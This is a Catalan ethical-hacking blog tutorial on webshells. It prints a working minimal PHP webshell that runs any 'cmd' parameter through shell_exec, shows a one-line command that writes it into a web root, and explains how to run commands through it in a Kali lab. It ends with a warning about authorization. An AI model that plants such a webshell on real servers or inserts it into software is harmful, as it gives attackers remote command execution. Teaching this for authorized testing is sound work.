Prengues el control remot: Explorant el Poder Ocult de les Webshells - Iespai
Hacking ètic

Prengues el control remot: Explorant el Poder Ocult de les Webshells



En el context del hacking ètic, una webshell és un script que un atacant puja a un servidor web compromès per obtenir control remot del servidor. Aquesta tècnica s’utilitza per realitzar tasques com l’execució de comandes del sistema, exfiltració de dades o com a punt d’entrada per a altres activitats malicioses. No obstant això, en el hacking ètic, s’utilitza per avaluar la seguretat del servidor i trobar vulnerabilitats abans que ho facin els atacants.

Què és una webshell?

Una webshell és bàsicament un script (escrit en llenguatges com PHP, ASP, JSP, etc.) que permet a l’usuari executar comandes en el servidor web. Aquests scripts poden ser tan simples com un formulari que permet l’execució de comandes de shell, o tan complexos com un panell d’administració complet.

Exemple de webshell en PHP

Un exemple bàsic d’una webshell en PHP seria:

<?php
if(isset($_REQUEST['cmd'])){
    echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';
}
?>

Aquest script permet executar comandes del sistema operatiu directament des del navegador web en passar el paràmetre cmd a la URL.

Ús de webshells amb Kali Linux

Kali Linux és una distribució de Linux popular entre els professionals de la seguretat informàtica per les seves nombroses eines de pentesting. Aquí et deixo un exemple de com podríes utilitzar una webshell en un entorn de proves amb Kali Linux.

Pas 1: Preparar l’entorn

  1. Instal·lar un servidor web: Pots utilitzar Apache o qualsevol altre servidor web en el teu entorn de proves.
   sudo apt update
   sudo apt install apache2
  1. Habilitar PHP: Assegura’t de tenir PHP instal·lat i configurat al teu servidor.
   sudo apt install php libapache2-mod-php
   sudo systemctl restart apache2

Pas 2: Pujar la webshell

  1. Crear la webshell: Guarda l’script PHP d’exemple en un fitxer anomenat webshell.php.
   echo "<?php if(isset(\$_REQUEST['cmd'])){ echo '<pre>' . shell_exec(\$_REQUEST['cmd']) . '</pre>'; } ?>" > /var/www/html/webshell.php
  1. Configurar permisos: Assegura’t que el fitxer tingui els permisos adequats per ser executat pel servidor web.
   sudo chown www-data:www-data /var/www/html/webshell.php
   sudo chmod 644 /var/www/html/webshell.php

Pas 3: Executar comandes a través de la webshell

  1. Accedir a la webshell: Obre el teu navegador i accedeix a http://<IP-DEL-SERVIDOR>/webshell.php.
  2. Executar una comanda: A la barra d’adreces, pots afegir el paràmetre cmd per executar una comanda. Per exemple, per llistar els fitxers al directori arrel:
   http://<IP-DEL-SERVIDOR>/webshell.php?cmd=ls

Veuràs la sortida de la comanda ls directament al teu navegador.

Importància en el hacking ètic

En el hacking ètic, pujar i utilitzar una webshell permet al pentester identificar i explotar possibles vulnerabilitats en un entorn controlat. Això ajuda les organitzacions a:

  • Identificar punts febles: Determinar quines configuracions del servidor són vulnerables a l’execució remota de comandes.
  • Millorar la seguretat: Implementar mesures de seguretat per prevenir la pujada i execució d’scripts maliciosos, com configuracions adequades de permisos i filtres a les entrades d’usuaris.
  • Entrenar l’equip de seguretat: Simular atacs per preparar l’equip de seguretat de l’organització en la detecció i resposta a incidents.

Precaucions i ètica

És important recordar que l’ús de webshells fora d’un entorn autoritzat i controlat és il·legal i poc ètic. Sempre has d’obtenir el permís explícit del propietari del sistema abans de realitzar qualsevol tipus de prova de seguretat.

En resum, les webshells són eines poderoses dins l’arsenal d’un pentester ètic i, quan s’utilitzen correctament, poden ajudar a enfortir la seguretat dels sistemes i aplicacions web.

oscar Lastera Sanchez

Entradas recientes

El Comando Init en Linux: Gestión de Procesos en el Proceso de Inicio del Sistema

En el mundo de la administración de sistemas Linux, uno de los elementos más críticos…

3 semanas hace

El Futuro de ChatGPT: ¿Cuán Cerca Está de Pensar Como Nosotros?

La inteligencia artificial (IA) ha evolucionado rápidamente en los últimos años, con desarrollos impresionantes como…

1 mes hace

IPv6: Mejoras Respecto a IPv4 y Herramientas para su Gestión en Linux

El crecimiento exponencial de dispositivos conectados a internet ha planteado serios desafíos a las redes…

1 mes hace

Cómo determinar si NTP está siendo utilizado para la sincronización del reloj: Guía para administradores de sistemas

La sincronización precisa del tiempo en los sistemas de red es crucial para la correcta…

1 mes hace

La Revolución de IPv6: Descubre por qué Necesitamos un Nuevo Protocolo

Desde que se ratificó hace casi 20 años, el protocolo IPv6 ha traído una serie…

1 mes hace

Guía Completa para Capturar y Analizar Tráfico IP con tcpdump: Domina la Herramienta Esencial para Administradores de Sistemas

Capturar tráfico IP es una tarea esencial para los administradores de sistemas, ya sea para…

1 mes hace

Esta web usa cookies.